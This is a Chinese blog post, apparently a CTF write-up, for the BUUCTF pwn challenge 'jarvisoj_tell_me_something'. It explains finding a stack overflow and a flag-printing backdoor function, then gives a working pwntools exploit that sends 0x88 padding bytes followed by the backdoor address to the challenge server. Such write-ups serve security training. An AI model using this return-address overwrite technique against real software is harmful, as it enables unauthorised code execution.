BUUCTF—jarvisoj_tell_me_something

先看看开了什么保护机制

打开64位ida看看

一个栈溢出出来了,但是长度有点小只有0x10,太小了,先去看看有没有后门,要是没后门就得栈迁移了

没有明显提示后门的函数,但是最好还是一个一个点开来看看

打开来一看,发现这个函数是打印flag,就是后门函数,所以不要看名字来判断是不是后门,最好一个一个点进去看,有后门那就好办了,直接把返回地址覆盖成后门就行了
不过有一点要注意,这个栈溢出其实溢出了0x18大小,我们查看汇编发现

结尾没有leave语句,只有ret语句!所以不会pop rbp所以没有旧的rbp地址,这个要注意

from pwn import*
p=remote('node4.buuoj.cn',26888)
backdoor=0x400620
p.recvuntil('message:\n')
payload=b'a'*0x88+p64(backdoor)
p.sendline(payload)
p.interactive()
posted @ 2022-10-24 21:04  予柒  阅读(84)  评论(0编辑  收藏  举报
返回顶端
Live2D /*修改地一:waifu.css*/
/*修改地二:waifu.css*/
/*修改地三:live2d.js*/ /*修改地四:waifu-tips.js*/